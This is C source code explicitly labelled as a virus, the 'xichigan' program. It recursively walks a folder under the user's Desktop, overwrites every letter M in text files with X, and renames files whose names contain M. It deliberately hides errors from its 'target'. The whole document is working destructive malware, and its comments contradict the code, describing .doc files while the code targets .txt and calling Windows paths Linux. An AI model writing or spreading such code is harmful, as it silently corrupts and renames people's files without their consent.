xichigan Virus - Source code

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <windows.h>

#define PATH_MAX        4096    /* # chars in a path name including nul */

/*********************************************************************************
* Author: Laine Rumreich                                                                       *
*                                                                                                           *
*                                                                                                           *
* Compile: gcc -o xichigan xichigan.c                                                           *
*                                                                                                           *
* Functions to search for .doc and .docx files on the desktop                    *
* of the current user, open them, and replace every 'M' or 'm' with 'X'          *
**********************************************************************************/

/*********************************************************************************
Open the .txt file and replace 'M' and 'm' with 'X'
**********************************************************************************/
void convertMtoX(char *filepath){
    FILE *file;
    char ch;

    // Open the file
    file = fopen(filepath, "r+");
    if (!file){
        //fprintf(stderr, "Unable to open file %s", filepath);
        return; // Return with no error to target
    }

    while ((ch = fgetc(file)) != EOF){
        // If the current value is an 'M' or 'm', replace it with an 'X'
        if(ch == 'M' || ch == 'm'){
            fseek(file, ftell(file) -1 , SEEK_SET);
            fprintf(file, "%c", 'X');
            fseek(file, ftell(file), SEEK_SET);
        }
    }
}

/*********************************************************************************
Determine if the filepath 'path' is a directory; return 1 if it is a directory,
0 otherwise
**********************************************************************************/
int isDir(const char* path) {
    struct stat buf;
    stat(path, &buf);
    return S_ISDIR(buf.st_mode);
}

/*********************************************************************************
Find and replace all 'M's and 'm's in a string with 'X'
Used only to convert filenames
**********************************************************************************/
void findAndReplaceMs(char* str) {
    int i;
    for(i = 0; i <= strlen(str); i++){
        if(str[i] == 'M' || str[i] == 'm')
        {
            str[i] = 'X';
        }
    }
}

/*********************************************************************************
Search (spider) through all of the files on the Desktop and any subdirectories
**********************************************************************************/
void spiderDirectory(char *homeDir, DIR *d){
    struct dirent *dir;
    DIR *currentD;
    char *currentDir = malloc(PATH_MAX);
    int length;
    char* newFileNaXe = malloc(PATH_MAX);
    char* newFilePath = malloc(PATH_MAX);

    // Loop and recurse until there are no more subdirectories
    while ((dir = readdir(d)) != NULL){
        // Get the full path associated with dir->d_name
        strcpy(currentDir, homeDir);
        strcat(currentDir,"\\");
        strcat(currentDir,dir->d_name);

        // If the current element of the directory is a subdirectory (and not . or ..), spider through it
        if(strcmp(dir->d_name, ".") != 0 && strcmp(dir->d_name, "..") != 0 && isDir(currentDir)){
            currentD = opendir(currentDir);
            if (currentD){
                spiderDirectory(currentDir, currentD);
                closedir(currentD);
            }
        }

        /*
            If the current item in the directory is a .txt, convert all Ms to Xs
        */
        length = strlen(currentDir);
        if(length > 4 && strcmp(&currentDir[length-4],".txt") == 0){
            convertMtoX(currentDir);
        }

        /*
            If the current item's name contains an m or M, change the name of the file by replacing with Xs
        */
        if(strchr(dir->d_name, 'M') != NULL || strchr(dir->d_name, 'm') != NULL){
            // Get the new file name
            strcpy(newFileNaXe, dir->d_name);
            findAndReplaceMs(newFileNaXe);
            // Construct a new valid filepath with the converted name
            strcpy(newFilePath, homeDir);
            strcat(newFilePath, "\\");
            strcat(newFilePath, newFileNaXe);

            // Rename the file
            rename(currentDir, newFilePath);
        }

    }

}

/*********************************************************************************
Main Function
**********************************************************************************/
int main(int argc, char*argv[]) {
    DIR *d;
    char *homedir = getenv("USERPROFILE");
    // Get the Desktop path if user is using Linux
    strcat(homedir,"\\Desktop\\testFolder");

    // TODO: Get Desktop path if user is using Windows/iOS
    // Look through the desktop and all of its subdirectories for word documents, and do the conversion XtoM
    d = opendir(homedir);
    if (d){
        spiderDirectory(homedir, d);
        closedir(d);
    }

}